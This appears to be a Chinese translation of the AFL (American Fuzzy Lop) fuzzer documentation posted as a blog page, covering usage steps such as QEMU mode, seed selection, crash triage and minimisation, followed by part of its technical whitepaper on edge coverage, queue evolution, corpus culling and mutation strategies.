<h2 id= "4) 检测仅二进制应用程序" > <a href= "#4) 检测仅二进制应用程序" class= "headerlink" title= "4) 检测仅二进制应用程序" > </a> 4) 检测仅二进制应用程序</h2> <p > 当源代码为不可得时, afl为黑盒二进制文件的快速、即时检测提供实验支持。 这是通过在较不为人知的“用户空间仿真”模式下运行的QEMU版本来实现的。<br > QEMU是一个独立于AFL的项目, 但您可以通过以下方式方便地构建该功能: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ cd qemu_mode</span> <br > <span class= "line" > $ ./build_qemu_support.sh</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 有关其他说明和注意事项, 请参阅qemu_mode / README.qemu。<br > 该模式比编译时插桩( instrumentation) 慢约2-5倍, 对并行化的兼容较差, 并且可能有一些其他的不同。</p>
<h2 id= "5) 选择初始测试用例" > <a href= "#5) 选择初始测试用例" class= "headerlink" title= "5) 选择初始测试用例" > </a> 5) 选择初始测试用例</h2> <p > 为了正确操作,模糊器需要一个或多个起始文件,其中包含目标应用程序通常所需的输入数据的良好示例。 有两个基本规则:</p>
<blockquote >
<p > 测试用例足够小。 1 kB以下是理想的, 尽管不是绝对必要的。 有关大小重要性的讨论, 请参阅perf_tips.txt。</p>
<p > 只有在功能上彼此不同时才使用多个测试用例。 使用五十张不同的度假照片来模糊图像库是没有意义的。<br > 您可以在此工具附带的<code > testcases/子目录</code> 中找到许多启动文件的好例子。<br > PS。 如果有大量数据可用于筛选,您可能希望使用<code > afl-cmin</code> 实用程序来识别在目标二进制文件中使用不同代码路径的功能不同的文件的子集。</p>
</blockquote>
<h2 id= "6) 模糊测试二进制文件" > <a href= "#6) 模糊测试二进制文件" class= "headerlink" title= "6) 模糊测试二进制文件" > </a> 6) 模糊测试二进制文件</h2> <p > 测试过程本身由afl-fuzz实用程序执行。该程序需要一个带有初始测试用例的只读目录, 一个存储其输出结果的独立位置, 以及要测试的二进制文件的路径。<br > 对于直接从 <strong > stdin</strong> 接受输入的目标二进制文件,通常的语法是:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program [... params ...]</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 对于从 <strong > 文件</strong> 中获取输入的程序,使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 您还可以使用-f选项将变异数据写入特定文件。如果程序需要特定的文件扩展名, 那么这很有用。<br > 非插桩二进制文件可以在QEMU模式下( 在命令行中添加-Q) 或在传统的盲目模糊模式( 指定-n) 中进行模糊测试。<br > 您可以使用-t和-m覆盖已执行进程的默认超时和内存限制;<br > perf_tips.txt中讨论了优化模糊测试性能的技巧。</p>
<p > 请注意, afl-fuzz首先执行一系列确定性模糊测试步骤, 这可能需要几天时间, 但往往会产生整齐的测试用例。如果你想要快速结果 - 类似于zzuf和其他传统的模糊器 - 在命令行中添加-d选项。</p>
<h2 id= "7) 解释输出" > <a href= "#7) 解释输出" class= "headerlink" title= "7) 解释输出" > </a> 7) 解释输出</h2> <p > 有关如何解释显示的统计信息以及监视进程运行状况的信息,请参阅<code > status_screen.txt</code> 文件。请务必查阅此文件, 尤其是如果任何UI元素以红色突出显示。<br > 模糊过程将持续到按<code > Ctrl-C</code> 为止。至少,您希望允许模糊器完成一个队列周期,这可能需要几个小时到一周左右的时间。<br > 在输出目录中创建了三个子目录并实时更新:</p>
<ul >
<li > 队列queue/ - 测试每个独特执行路径的案例, 以及用户提供的所有起始文件。这是第2节中提到的合成语料库。在将此语料库用于任何其他目的之前, 您可以使用afl-cmin工具将其缩小到较小的大小。该工具将找到一个较小的文件子集, 提供相同的边缘覆盖。</li>
<li > 崩溃crash/ - 导致被测程序接收致命信号的独特测试用例( 例如, SIGSEGV, SIGILL, SIGABRT) 。条目按接收信号分组。</li>
<li > 挂起hang/ - 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值, 但这很少是必需的。崩溃和挂起被视为“唯一” “如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误,那么在此过程中会有一些计数通货膨胀,但这应该会迅速逐渐减少。</li>
</ul>
<p > 崩溃和挂起的文件名与父、非错误的队列条目相关联。这应该有助于调试。<br > 如果无法重现 <strong > afl-fuzz</strong> 发现的崩溃,最可能的原因是您没有设置与工具使用的内存限制相同的内存限制。尝试:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ LIMIT_MB = 50</span> <br > <span class= "line" > $( ulimit -Sv $ [LIMIT_MB < < 10]; /path/to/tested_binary ...) </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 更改LIMIT_MB以匹配传递给afl-fuzz的-m参数。在OpenBSD上, 也将-Sv更改为-Sd。任何现有的输出目录也可用于恢复中止的作业;<br > 尝试:<code > $ ./afl-fuzz -i-o_ existing_output_dir [...etc...]</code> <br > 如果安装了gnuplot, 您还可以使用afl-plot为任何活动的模糊测试任务生成一些漂亮的图形。有关如何显示的示例, 请参阅 <a href= "http://lcamt uf.coredump.cx/afl/plot/" target= "_blank" rel= "noopener" > http://lcamt uf.coredump.cx/afl/plot/</a> 。</p>
<h2 id= "8) 并行模糊测试" > <a href= "#8) 并行模糊测试" class= "headerlink" title= "8) 并行模糊测试" > </a> 8) 并行模糊测试</h2> <p > 每个afl-fuzz的实例大约占用一个核。 这意味着在多核系统上,并行化是充分利用硬件所必需的。<br > 有关如何在多个核心或多个联网计算机上模糊常见目标的提示,请参阅<code > parallel_fuzzing.txt</code> 。<br > <strong > <em > 并行模糊测试模式</em> </strong> 还提供了一种简单的方法, 用于将AFL连接到其他模糊器, 动态符号执行( concrete and symbolic, concolic execution) 引擎等等; 再次,请参阅 <code > parallel_fuzzing.txt</code> 的最后一节以获取提示。</p>
<h2 id= "9) Fuzzer词典" > <a href= "#9) Fuzzer词典" class= "headerlink" title= "9) Fuzzer词典" > </a> 9) Fuzzer词典</h2> <p > 默认情况下, afl-fuzz变异引擎针对紧凑数据格式进行了优化 - 例如, 图像, 多媒体, 压缩数据, 正则表达式语法或shell脚本。它有点不太适合具有特别冗长和冗余的语言的语言 - 特别是包括HTML, SQL或JavaScript。<br > 为了避免构建语法感知工具的麻烦, afl-fuzz提供了一种方法, 使用与目标数据类型相关联的其他特殊标记的语言关键字, 魔术头或可选字典为模糊测试过程设定种子, 并使用它来重建底层随时随地的语法: <a href= "http://lcamt uf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html" target= "_blank" rel= "noopener" > http://lcamt uf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html</a> <br > 要使用此功能,首先需要使用<code > dictionaries/README.dictionaries</code> 中讨论的两种格式之一创建字典;然后通过命令行中的-x选项将模糊器指向它。( 该子目录中也已提供了几个常用字典。) <br > 没有办法提供基础语法的更多结构化描述, 但模糊器可能会根据instrumentation反馈单独找出一些。这实际上在实践中有效, 比如说: <br > <a href= "http://lcamt uf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html" target= "_blank" rel= "noopener" > http://lcamt uf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html</a> <br > PS。即使没有给出明确的字典, afl-fuzz也会尝试通过在确定性字节翻转期间非常接近地观察instrumentation来提取输入语料库中的现有语法标记。这适用于某些类型的解析器和语法, 但不如-x模式好。<br > 如果字典真的很难找到, 另一个选择是让AFL运行一段时间, 然后使用作为AFL伴随实用程序的令牌捕获库。为此, 请参阅<code > libtokencap/README.tokencap</code> 。</p>
<h2 id= "10) 崩溃分类" > <a href= "#10) 崩溃分类" class= "headerlink" title= "10) 崩溃分类" > </a> 10) 崩溃分类</h2> <p > 基于coverage的崩溃分组通常会生成一个小型数据集, 可以手动或使用非常简单的GDB或Valgrind脚本快速进行分类。每次崩溃都可以追溯到队列中的父级非崩溃测试用例, 从而更容易诊断故障。<br > 话虽如此, 重要的是要承认, 如果没有大量的调试和代码分析工作, 一些模糊的崩溃很难快速评估可利用性。为了帮助完成这项任务, afl-fuzz支持使用-C标志启用的非常独特的“崩溃探索”模式。<br > 在此模式下,模糊器将一个或多个崩溃测试用例作为输入,并使用其反馈驱动的模糊测试策略,非常快速地枚举程序中可以达到的所有代码路径,同时使其保持在崩溃状态。<br > <strong > <em > 不会导致崩溃的变异会被拒绝;任何不影响执行路径的更改也是如此。</em> </strong> <br > 输出是一个小文件集,可以非常快速地检查以查看攻击者对错误地址的控制程度,或者是否有可能超过初始越界读取,并查看下面的内容。</p>
<p > 哦,还有一件事:对于测试用例最小化,请尝试<code > afl-tmin</code> 。该工具可以以非常简单的方式操作:<br > <code > $ ./afl-tmin -i test_case -o minimize_result - /path/to/program [...]</code> </p>
<p > 该工具适用于崩溃和非崩溃的测试用例。在崩溃模式下,它将很乐意接受 instrumented 和 non-instrumented 的二进制文件。在非崩溃模式下, 最小化器依赖于标准AFL检测来使文件更简单而不改变执行路径。minimizer与afl-fuzz兼容的方式接受-m, -t, -f和@@语法。如果指定了参数-x, 即crash mode, 会把导致程序非正常退出的文件直接剔除。</p>
<p > AFL的另一个新成员是afl-analyze工具。需要输入文件, 尝试按顺序翻转字节, 并观察测试程序的行为。然后根据哪些部分看起来是关键的, 哪些部分不是关键的, 对输入进行颜色编码;虽然不是万能,但它通常可以提供对复杂文件格式的快速见解。有关其操作的更多信息可以在<code > technical_details.txt</code> 的末尾找到。</p>
<h2 id= "11) 超越崩溃" > <a href= "#11) 超越崩溃" class= "headerlink" title= "11) 超越崩溃" > </a> 11) 超越崩溃</h2> <p > 模糊测试是一种很好的, 未充分利用的技术, 用于发现非崩溃的设计和实现错误。通过修改目标程序调用abort()时发现了一些有趣的错误,比如:</p>
<ul >
<li > 当给出相同的模糊输入时, 两个bignum库产生不同的输出, </li>
<li > 当要求连续多次解码相同的输入图像时,图像库会产生不同的输出,</li>
<li > 在对模糊提供的数据进行迭代序列化和反序列化时,序列化/反序列化库无法生成稳定的输出,</li>
<li > 当要求压缩然后解压缩特定blob时, 压缩库会生成与输入文件不一致的输出。实施这些或类似的健全性检查通常只需要很少的时间;如果你是特定包的维护者,你可以使用#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION( 一个也与libfuzzer共享的标志) 或#ifdef __AFL_COMPILER( 这个只适用于AFL) 来使这个代码成为条件。</li>
</ul>
<h2 id= "12) 常识性风险" > <a href= "#12) 常识性风险" class= "headerlink" title= "12) 常识性风险" > </a> 12) 常识性风险</h2> <p > 请记住,与许多其他计算密集型任务类似,模糊测试可能会给您的硬件和操作系统带来压力。特别是:</p>
<ul >
<li > 你的CPU会很热, 需要充分冷却。在大多数情况下, 如果冷却不足或停止正常工作, CPU速度将自动受到限制。也就是说, 尤其是在不太合适的硬件( 笔记本电脑, 智能手机等) 上进行模糊测试时, 某些事情并非完全不可能爆发。</li>
<li > 有针对性的程序可能最终不正常地抓取千兆字节的内存或用垃圾文件填满磁盘空间。 AFL试图强制执行基本的内存限制, 但不能阻止每一个可能的事故。最重要的是, 您不应该对数据丢失前景不可接受的系统进行模糊测试。</li>
<li > 模糊测试涉及数十亿次对文件系统的读写操作。在现代系统中, 这通常会被高度缓存, 导致相当适度的“物理”I/O - 但是有许多因素可能会改变这个等式。您有责任监控潜在的问题; I / O非常繁重, 许多HDD和SSD的使用寿命可能会缩短。监视Linux上磁盘I/O的一种好方法是’ iostat’ 命令: <code > $ iostat -d 3 -x -k [...可选磁盘ID ...]</code> </li>
</ul>
<h2 id= "13) 已知的限制和需要改进的领域" > <a href= "#13) 已知的限制和需要改进的领域" class= "headerlink" title= "13) 已知的限制和需要改进的领域" > </a> <strong > 13) 已知的限制和需要改进的领域</strong> </h2> <p > 以下是AFL的一些最重要的警告: </p>
<ul >
<li > AFL通过检查由于信号( SIGSEGV, SIGABRT等) 而导致的第一个衍生过程死亡来检测故障。为这些信号安装自定义处理程序的程序可能需要注释掉相关代码。同样, 由模糊目标产生的子处理中的故障可能会逃避检测, 除非您手动添加一些代码来捕获它。</li>
<li > 与任何其他强力工具一样, 如果使用加密, 校验和, 加密签名或压缩来完全包装要测试的实际数据格式, 则模糊器提供有限的覆盖范围。要解决这个问题, 你可以注释掉相关的检查( 参见experimental / libpng_no_checksum /获取灵感);如果这是不可能的, 你也可以编写一个后处理器, 如experimental / post_library /中所述。</li>
<li > ASAN和64位二进制文 件存在一些不幸的权衡。这不是因为任何特定的模糊错误;请参阅notes_for_asan.txt以获取提示。</li>
<li > 没有直接支持模糊网络服务, 后台守护程序或需要UI交互才能工作的交互式应用程序。您可能需要进行简单的代码更改, 以使它们以更传统的方式运行。 Preeny也可以提供一个相对简单的选项 - 请参阅:<a href= "https://github.com/zardus/preeny" target= "_blank" rel= "noopener" > https://github.com/zardus/preeny</a> <br > 有关修改基于网络的服务的一些有用提示也可以在以下位置找到:<br > <a href= "https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop" target= "_blank" rel= "noopener" > https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop</a> </li>
<li > AFL不输出人类可读的覆盖数据。如果你想监控覆盖, 请使用Michael Rash的afl-cov: https: //github.com/mrash/afl-cov</li>
<li > 偶尔,敏感的机器会对抗他们的创造者。如果您遇到这种情况,请访问<a href= "http://lcamt uf.coredump.cx/prep/。除此之外,请参阅安装以获取特定于平台的提示。" target= "_blank" rel= "noopener" > http://lcamt uf.coredump.cx/prep/。除此之外,请参阅安装以获取特定于平台的提示。</a> </li>
</ul>
<hr >
<h1 id= "0x05-afl-fuzz白皮书" > <a href= "#0x05-afl-fuzz白皮书" class= "headerlink" title= "0x05 afl-fuzz白皮书" > </a> 0x05 <a href= "http://lcamtuf.coredump.cx/afl/technical_details.txt" target= "_blank" rel= "noopener" > afl-fuzz白皮书</a> </h1> <p > 本文档提供了American Fuzzy Lop的简单的概述。想了解一般的使用说明, 请参见 <code > README</code> 。想了解AFL背后的动机和设计目标, 请参见 <a href= "http://lcamtuf.coredump.cx/afl/historical_notes.txt" target= "_blank" rel= "noopener" > historical_notes.txt</a> 。</p>
<h2 id= "0) 设计说明-Design-statement" > <a href= "#0) 设计说明-Design-statement" class= "headerlink" title= "0) 设计说明(Design statement)" > </a> 0) 设计说明(Design statement)</h2> <p > American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation),也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为, 我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。<br > 唯一的设计宗旨在于速度、可靠性和易用性。</p>
<h2 id= "1) 覆盖率计算-Coverage-measurements" > <a href= "#1) 覆盖率计算-Coverage-measurements" class= "headerlink" title= "1) 覆盖率计算(Coverage measurements)" > </a> 1) 覆盖率计算(Coverage measurements)</h2> <p > 在编译过的程序中插桩能够捕获分支(边缘)的覆盖率,并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下:</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > cur_location = < COMPILE_TIME_RANDOM> ; //用一个随机数标记当前基本块</span> <br > <span class= "line" > shared_mem[cur_location ^ prev_location]++; //将当前块和前一块异或保存到shared_mem[]</span> <br > <span class= "line" > prev_location = cur_location > > 1; //cur_location右移1位区分从当前块到当前块的转跳</span> <br > </pre> </td> </tr> </table> </figure>
<p > cur_location 的值是随机产生的, 为的是简化连接复杂对象的过程和保持XOR输出分布是均匀的。<br > shared_mem[] 数组是一个调用者 (caller) 传给被插桩的二进制程序的64kB的共享空间。其中的每一字节可以理解成对于插桩代码中特别的元组(branch_src, branch_dst)的一次命中( hit) 。<br > 选择这个数组大小的原因是让冲突(collisions)尽可能减少。这样通常能处理2k到10k的分支点。同时, 它的大小也足以使输出图能在接受端达到毫秒级的分析。</p>
<table >
<thead >
<tr >
<th > Branch cnt</th>
<th > Colliding tuples</th>
<th > Example targets</th>
</tr>
</thead>
<tbody >
<tr >
<td > 1,000</td>
<td > 0.75%</td>
<td > giflib, lzo</td>
</tr>
<tr >
<td > 2,000</td>
<td > 1.5%</td>
<td > zlib, tar, xz</td>
</tr>
<tr >
<td > 5,000</td>
<td > 3.5%</td>
<td > libpng, libwebp</td>
</tr>
<tr >
<td > 10,000</td>
<td > 7%</td>
<td > libxml</td>
</tr>
<tr >
<td > 20,000</td>
<td > 14%</td>
<td > sqlite</td>
</tr>
<tr >
<td > 50,000</td>
<td > 30%</td>
<td > -</td>
</tr>
</tbody>
</table>
<p > 这种形式的覆盖率,相对于简单的基本块覆盖率来说,对程序运行路径提供了一个更好的描述(insight)。特别地,它能很好地区分以下两个执行路径:</p>
<blockquote >
<p > A -> B -> C -> D -> E (tuples: AB, BC, CD, DE)<br > A -> B -> D -> C -> E (tuples: AB, BD, DC, CE)</p>
</blockquote>
<p > 这有助于发现底层代码的微小错误条件。因为 <strong > 安全漏洞通常是一些非预期(或不正确)的语句转移(一个tuple就是一个语句转移)</strong> ,而不是没覆盖到某块代码。<br > 上边伪代码的最后一行移位操作是为了让tuple具有定向性(没有这一行的话, A^B和B^A就没区别了, 同样, A^A和B^B也没区别了)。采用右移的原因跟Intel CPU的一些特性有关。</p>
<h2 id= "2) 发现新路径-Detecting-new-behaviors" > <a href= "#2) 发现新路径-Detecting-new-behaviors" class= "headerlink" title= "2) 发现新路径(Detecting new behaviors)" > </a> 2) 发现新路径(Detecting new behaviors)</h2> <p > AFL的fuzzers使用一个<strong > 全局Map</strong> 来存储之前执行时看到的tuple。这些数据可以被用来对不同的trace进行快速对比, 从而可以计算出是否新执行了一个dword指令/一个qword-wide指令/一个简单的循环。<br > 当一个变异的输入产生了一个包含新tuple的执行路径时, 对应的输入文件就被保存, 然后被发送到下一过程(见第3部分)。对于那些没有产生新路径的输入, 就算他们的instrumentation输出模式是不同的, 也会被抛弃掉。<br > 这种算法考虑了一个非常细粒度的、长期的对程序状态的探索,同时它还不必执行复杂的计算,不必对整个复杂的执行流进行对比,也避免了路径爆炸的影响。<br > 为了说明这个算法是怎么工作的, 考虑下面的两个路径, 第二个路径出现了新的tuples(CA, AE):<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > #1: A -> B -> C -> D -> E</span> <br > <span class= "line" > #2: A -> B -> C -> A -> E</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 因为#2的原因, 以下的路径就不认为是不同的路径了, 尽管看起来非常不同: <br > <code > #3: A -> B -> C -> A -> B -> C -> A -> B -> C -> D -> E</code> </p>
<p > 除了检测新的tuple之外, AFL的fuzzer也会粗略地记录tuple的<strong > 命中数(hit counts)</strong> 。这些被分割成几个buckets: 1, 2, 3, 4-7, 8-15, 16-31, 32-127, 128+</p>
<p > 从某种意义来说, buckets里边的数目是有实际意义的: 它是一个8-bit counter和一个8-position bitmap的映射。8-bit counter是由桩生成的, 8-position bitmap则依赖于每个fuzzer记录的已执行的tuple的命中数。<br > 单个bucket的改变会被忽略掉: 在程序控制流中, bucket的转换会被标记成一个interesting change, 传入evolutionary(见第三部分)进行处理。<br > 通过命中次数(hit count),我们能够分辨控制流是否发生变化。例如一个代码块被执行了两次,但只命中了一次。并且这种方法对循环的次数不敏感(循环47次和48次没区别)。<br > 这种算法通过限制内存和运行时间来保证效率。</p>
<p > 另外, 算法通过设置执行超时, 来避免效率过低的fuzz。从而进一步发现效率比较高的fuzz方式。</p>
<h2 id= "3) 输入队列的进化-Evolving-the-input-queue" > <a href= "#3) 输入队列的进化-Evolving-the-input-queue" class= "headerlink" title= "3) 输入队列的进化(Evolving the input queue)" > </a> 3) 输入队列的进化(Evolving the input queue)</h2> <p > 经变异的测试用例,会使程序产生 <strong > <em > 新的状态转移</em> </strong> 。这些测试用例稍后被添加到 input 队列中,用作下一个 fuzz 循环。它们补充但不替换现有的发现。<br > 这种算法允许工具可以持续探索不同的代码路径,即使底层的数据格式可能是完全不同的。如下图:<br > <img src= "http://lcamtuf.coredump.cx/afl/afl_gzip.png" width= "60%" d i v align= "center/" > </p>
<p > 这里有一些这种算法在实际情况下例子:</p>
<p > <a href= "https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html" target= "_blank" rel= "noopener" > pulling-jpegs-out-of-thin-air</a> </p>
<p > <a href= "http://lcamtuf.blogspot.com/2014/11/afl-fuzz-nobody-expects-cdata-sections.html" target= "_blank" rel= "noopener" > afl-fuzz-nobody-expects-cdata-sections</a> </p>
<p > 这种过程下产生的语料库基本上是这些输入文件的集合:它们都能触发一些新的执行路径。产生的语料库,可以被用来作为其他测试的种子。<br > 使用这种方法, 大多数目标程序的队列会增加到大概1k到10k个entry。大约有10-30%归功于对新tupe的发现, 剩下的和hit counts改变有关。<br > 下表比较了不同 fuzzing 方法在发现文件句法(file syntax)和探索程序执行路径的能力。插桩的目标程序是 <code > GNU patch 2.7.3 compiled with -O3 and seeded with a dummy text file:</code> </p>
<table >
<thead >
<tr >
<th > Fuzzer guidance strategy used</th>
<th > Blocks reached</th>
<th > Edges reached</th>
<th > Edge hit cnt var</th>
<th > Highest-coverage test case generated</th>
</tr>
</thead>
<tbody >
<tr >
<td > (Initial file)</td>
<td > 156</td>
<td > 163</td>
<td > 1.00</td>
<td > (none)</td>
</tr>
<tr >
<td > Blind fuzzing S</td>
<td > 182</td>
<td > 205</td>
<td > 2.23</td>
<td > First 2 B of RCS diff</td>
</tr>
<tr >
<td > Blind fuzzing L</td>
<td > 228</td>
<td > 265</td>
<td > 2.23</td>
<td > First 4 B of -c mode diff</td>
</tr>
<tr >
<td > Block coverage</td>
<td > 855</td>
<td > 1,130</td>
<td > 1.57</td>
<td > Almost-valid RCS diff</td>
</tr>
<tr >
<td > Edge coverage</td>
<td > 1,452</td>
<td > 2,070</td>
<td > 2.18</td>
<td > One-chunk -c mode diff</td>
</tr>
<tr >
<td > AFL model</td>
<td > 1,765</td>
<td > 2,597</td>
<td > 4.99</td>
<td > Four-chunk -c mode diff</td>
</tr>
</tbody>
</table>
<p > 第一行的blind fuzzing (“S”)代表仅仅执行了一个回合的测试。<br > 第二行的Blind fuzzing L表示在一个循环中执行了几个回合的测试, 但是没有进行改进。和插桩运行相比, 需要更多时间全面处理增长队列。</p>
<p > 在另一个独立的实验中也取得了大致相似的结果。在新实验中, fuzzer被修改成所有随机fuzzing 策略,只留下一系列基本、连续的操作,例如位反转(bit flips)。因为这种模式( mode) 将不能改变输入文件的的大小, 会话使用一个合法的合并格式( unified diff) 作为种子。</p>
<table >
<thead >
<tr >
<th > Queue extension strategy used</th>
<th > Blocks reached</th>
<th > Edges reached</th>
<th > Edge hit cnt var</th>
<th > Number of unique crashes found</th>
</tr>
</thead>
<tbody >
<tr >
<td > (Initial file)</td>
<td > 624</td>
<td > 717</td>
<td > 1.00</td>
<td > -</td>
</tr>
<tr >
<td > Blind fuzzing</td>
<td > 1,101</td>
<td > 1,409</td>
<td > 1.60</td>
<td > 0</td>
</tr>
<tr >
<td > Block coverage</td>
<td > 1,255</td>
<td > 1,649</td>
<td > 1.48</td>
<td > 0</td>
</tr>
<tr >
<td > Edge coverage</td>
<td > 1,259</td>
<td > 1,734</td>
<td > 1.72</td>
<td > 0</td>
</tr>
<tr >
<td > AFL model</td>
<td > 1,452</td>
<td > 2,040</td>
<td > 3.16</td>
<td > 1</td>
</tr>
</tbody>
</table>
<p > 在之前提到的基于遗传算法的fuzzing, 是通过一个test case的进化(这里指的是用遗传算法进行变异)来实现最大覆盖。在上述实验看来,这种“贪婪”的方法似乎没有为盲目的模糊策略带来实质性的好处。</p>
<h2 id= "4) 语料筛选( Culling-the-corpus) " > <a href= "#4) 语料筛选( Culling-the-corpus) " class= "headerlink" title= "4) 语料筛选( Culling the corpus) " > </a> 4) 语料筛选( Culling the corpus) </h2> <p > 上文提到的渐进式语句探索路径的方法意味着: 假设A和B是测试用例(test cases), 且B是由A变异产生的。那么测试用例B达到的边缘覆盖率(edge coverage)是测试用例A达到的边缘覆盖率的严格超集(superset)。<br > 为了优化fuzzing, AFL会用一个快速算法<strong > 周期性的重新评估</strong> (re-evaluates)队列, 这种算法会选择队列的一个更小的子集, 并且这个子集仍能覆盖所有的tuple。算法的这个特性对这个工具特别有利(favorable)。<br > 算法通过指定每一个队列入口(queue entry), 根据执行时延( execution latency) 和文件大小分配一个分值比例( score proportional) 。然后为每一个tuple选择<strong > 最低分值的entry</strong> 。<br > 这些tuples按下述流程进行处理: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 1) Find next tuple not yet in the temporary working set,</span> <br > <span class= "line" > </span> <br > <span class= "line" > 2) Locate the winning queue entry for this tuple,</span> <br > <span class= "line" > </span> <br > <span class= "line" > 3) Register *all* tuples present in that entry' s trace in the working set,</span> <br > <span class= "line" > </span> <br > <span class= "line" > 4) Go to #1 if there are any missing tuples in the set.</span> <br > </pre> </td> </tr> </table> </figure>
<p > “favored” entries 产生的语料, 会比初始的数据集小5到10倍。没有被选择的也没有被扔掉, 而是在遇到下列对队列时, 以一定概率略过: <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > - If there are new, yet-to-be-fuzzed favorites present in the queue,</span> <br > <span class= "line" > 99% of non-favored entries will be skipped to get to the favored ones.</span> <br > <span class= "line" > </span> <br > <span class= "line" > - If there are no new favorites:</span> <br > <span class= "line" > </span> <br > <span class= "line" > - If the current non-favored entry was fuzzed before, it will be skipped 95% of the time.</span> <br > <span class= "line" > </span> <br > <span class= "line" > - If it hasn' t gone through any fuzzing rounds yet, the odds of skipping drop down to 75%.</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 基于以往的实验经验,这种方法能够在队列周期速度(queue cycling speed)和测试用例多样性(test case diversity)之间达到一个合理的平衡。<br > 使用<strong > afl-cmin工具</strong> 能够对输入或输出的语料库进行稍微复杂但慢得多的的处理。这一工具将永久丢弃冗余entries, 产生适用于afl-fuzz或者外部工具的更小的语料库。</p>
<h2 id= "5) 输入文件修剪( Trimming-input-files) " > <a href= "#5) 输入文件修剪( Trimming-input-files) " class= "headerlink" title= "5) 输入文件修剪( Trimming input files) " > </a> 5) 输入文件修剪( Trimming input files) </h2> <p > 文件的大小对fuzzing的性能有着重大影响(dramatic impact)。因为大文件会让目标二进制文件运行变慢;大文件还会减少变异触及重要格式控制结构(format control structures)的可能性(<strong > 我们希望的是变异要触及冗余代码块(redundant data blocks)</strong> )。这个问题将在<a href= "https://github.com/mirrorer/afl/blob/master/docs/perf_tips.txt" target= "_blank" rel= "noopener" > perf_tips.txt</a> 细说。<br > 用户可能提供低质量初始语料(starting corpus),某些类型的变异会迭代地增加生成文件的大小。所以要抑制这种趋势(counter this trend)。<br > 幸运的是,<strong > 插桩反馈(instrumentation feedback)</strong> 提供了一种简单的方式自动削减( trim down) 输入文件, 并确保这些改变能使得文件对执行路径没有影响。<br > afl-fuzz内置的修剪器(trimmer)使用变化的长度和步距(variable length and stepover)来连续地(sequentially)删除数据块; 任何不影响trace map的校验和(checksum)的删除块将被提交到disk。<br > 这个修剪器的设计并不算特别地周密(thorough),相反地,它试着在精确度(precision)和进程调用execve()的次数之间选取一个平衡, 找到一个合适的block size和stepover。平均每个文件将增大约5-20%。<br > 独立的<strong > afl-tmin工具</strong> 使用更完整(exhaustive)、迭代次数更多(iteractive)的算法,并尝试对被修剪的文件采用字母标准化的方式处理。</p>
<h2 id= "6-模糊测试策略-Fuzzing-strategies" > <a href= "#6-模糊测试策略-Fuzzing-strategies" class= "headerlink" title= "6) 模糊测试策略(Fuzzing strategies)" > </a> 6) 模糊测试策略(Fuzzing strategies)</h2> <p > 插桩提供的反馈(feedback)使得我们更容易理解各种不同fuzzing策略的价值, 从而优化(optimize)他们的参数。使得他们对不同的文件类型都能同等地进行工作。afl-fuzz用的策略通常是与格式无关( format-agnostic) , 详细说明在下边的连接中: <br > <a href= "http://lcamtuf.blogspot.com/2014/08/binary-fuzzing-strategies-what-works.html" target= "_blank" rel= "noopener" > binary-fuzzing-strategies-what-works</a> <br > 值得注意的一点是, afl-fuzz大部分的(尤其是前期的)工作都是高度确定的(highly deterministic),随机性修改和测试用例拼接(random stacked modifications和test case splicing)只在后期的部分进行。 <strong > 确定性的策略</strong> 包括:<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > - Sequential bit flips with varying lengths and stepovers,使用变化的长度和步距来连续进行位反转</span> <br > <span class= "line" > </span> <br > <span class= "line" > - Sequential addition and subtraction of small integers,对小的整型数来连续进行加法和减法</span> <br > <span class= "line" > </span> <br > <span class= "line" > - Sequential insertion of known interesting integers (0, 1, INT_MAX, etc),对已知的感兴趣的整型数连续地插入</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 使用这些确定步骤的目的在于,生成紧凑的(compact)测试用例, 以及在产生non-crashing的输入和产生crashing的输入之间, 有很小的差异(small diffs)。<br > <strong > 非确定性(non-deterministic)策略</strong> 的步骤包括: stacked bit flips、插入(insertions)、删除(deletions)、算数(arithmetics)和不同测试用例之间的拼接(splicing)。</p>
<p > 由于在<a href= "http://lcamtuf.coredump.cx/afl/historical_notes.txt" target= "_blank" rel= "noopener" > historical_notes.txt</a> 中提到的原因(性能、简易性、可靠性), AFL通常不试图去推断某个特定的变异(specific mutations)和程序状态(program states)的关系。</p>
